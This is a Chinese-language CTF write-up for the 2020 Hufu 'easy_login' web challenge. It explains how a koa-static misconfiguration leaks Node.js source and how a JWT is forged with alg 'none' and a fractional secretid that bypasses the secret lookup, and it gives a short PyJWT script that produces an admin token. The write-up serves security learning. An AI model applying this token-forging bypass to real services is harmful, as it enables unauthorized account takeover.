CTFHub_2020-数字中国创新大赛虎符网络安全赛道-Web-easy_login(源码泄露、JWT-None攻击)

场景描述:最近正在开始学习nodejs开发,不如先写个登陆界面练练手。什么,大佬说我的程序有bug?我写的代码逻辑完美顺利运行怎么可能出错?!错的一定是我的依赖库!!

进入场景,显示是一个登录框

注册账号,登录,发现get flag按钮,点击提示permission denied,无权限,那么此题的方向应该是伪造成一个高权限账户。

截取登录包,发现可疑authorization校验字段

解码显示为jwt

通过查看源码,发现/static/js/app.js 页面存在提示

/**
 *  或许该用 koa-static 来处理静态文件
 *  路径该怎么配置?不管了先填个根目录XD
 */

koa-static 错误配置的源码泄露

说明 app.js 是直接静态映射到程序根目录的,直接访问根目录的该文件可直接看到源码

继续分析根目录的app.js,发现代码引用了两个当前目录的文件

const rest = require('./rest');
const controller = require('./controller');

说明存在rest.js和controller.js文件

访问rest.js发现同样一个路径前缀 api

const pathPrefix = '/api/';

访问controller.js看到下面的代码

遍历在controllers文件夹下的以.js结尾的文件,并且引入文件添加在router中,推断controllers文件夹下存在一个api.js文件

function addControllers(router, dir) {
    fs.readdirSync(__dirname + '/' + dir).filter(f => {
        return f.endsWith('.js');
    }).forEach(f => {
        const mapping = require(__dirname + '/' + dir + '/' + f);
        addMapping(router, mapping);
    });
}

module.exports = (dir) => {
    const controllers_dir = dir || 'controllers';
    const router = require('koa-router')();
    addControllers(router, controllers_dir);
    return router.routes();
};

访问/controllers/api.js,前端几个能看到的功能接口逻辑都在了,分析登录和注册接口

注册:

const secret = crypto.randomBytes(18).toString('hex');

const secretid = global.secrets.length;

global.secrets.push(secret)

const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});


登录:

const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

console.log(sid)

if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {     
    throw new APIError('login error', 'no such secret id');
}

const secret = global.secrets[sid];

const user = jwt.verify(token, secret, {algorithm: 'HS256'});

1、确认用户身份的技术用的是jwt (Json WEB Token)

在注册时候生成一个token 由下面三部分组成const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});登陆时再以相同的方式生成token对比。

JWT 存在几种攻击手段,这个题利用的是 将加密方式改为’none’ 的那种

签名算法确保恶意用户在传输过程中不会修改JWT。但是标题中的alg字段可以更改为none。一些JWT库支持无算法,即没有签名算法。当alg为none时,后端将不执行签名验证。将alg更改为none后,从JWT中删除签名数据(仅标题+’.'+ payload +’.')并将其提交给服务器。

2、secretid值校验

要求 sid 不能为 undefined,null,并且必须在全局变量 secrets 数组的长度和 0 之间。

JavaScript 是一门弱类型语言,可以通过空数组与数字比较永远为真或是小数来绕过

python有处理jwt的模块,根据上面分析,secretid 赋值小数,algorithm赋值none,key值是一个函数必需字段给空值就行,生成token就是authorization值的内容
python 安装jwt pip install pyjwt

import jwt
token = jwt.encode({"secretid":0.1,"username":"admin","password":"admin"},algorithm="none",key="").decode('utf-8')
print(token)

把生成的值替换authorization的值就通过验证了

登入之后点击get flag,权限足够,获得flag。

参考:https://www.jianshu.com/p/0f76e1c69e33

posted @ 2022-03-11 14:41  zhengna  阅读(345)  评论(0编辑  收藏  举报